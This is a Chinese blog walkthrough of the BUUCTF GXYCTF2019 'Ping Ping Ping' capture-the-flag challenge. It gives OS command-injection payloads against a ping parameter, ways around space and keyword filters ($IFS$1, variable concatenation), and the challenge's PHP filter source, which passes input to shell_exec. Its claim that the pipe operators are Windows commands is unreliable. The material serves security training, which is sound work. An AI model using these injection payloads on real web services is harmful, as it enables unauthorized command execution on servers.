BUUCTF [GXYCTF2019]Ping Ping Ping

 题目

打开网站

 就这么点东西,啥都没有,那么我们浅试一下

那我们ls一下将文件名都输出出来,我们用几种方式都可以输出文件名

?ip=127.0.0.1|ls
?ip=127.0.0.1;ls
?ip=127.0.0.1||ls

这里都是用了Windows中的管道符命令

| 直接执行后面的语句,例如  ping 127.0.0.1|whoami

|| 如果前面执行的语句出错,才执行后面的语句,所以前面的语句必须为假,例如  ping 1||whoami

& 前面的语句可真可假,例如    ping 127.0.0.1&whoami

&&  前面的语句为假则直接出错,所以前面的语句必须为真,例如  ping 127.0.0.1&&whoami

那么我们已经知道这题试ping命令,那么我们就可以使用Windows下ping命令操作来做这道题,我们尝试cat一下flag.php

?ip=127.0.0.1|cat flag.php

这里看了大佬的wp说是空格绕过,我去百度了一下空格绕过的方法

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

由于我在尝试flag.php发现是访问不了的,那就只能尝试index.php了而且我在尝试中也发现只有这一中绕过可以绕过

?ip=1|cat$IFS$1index.php

我们就可以看见到底是过滤了什么

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

 过滤了很多的东西,那么我们可以进行绕过过滤(拼接绕过)

?ip=1;R=g;cat$IFS$1fla$R.php;

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值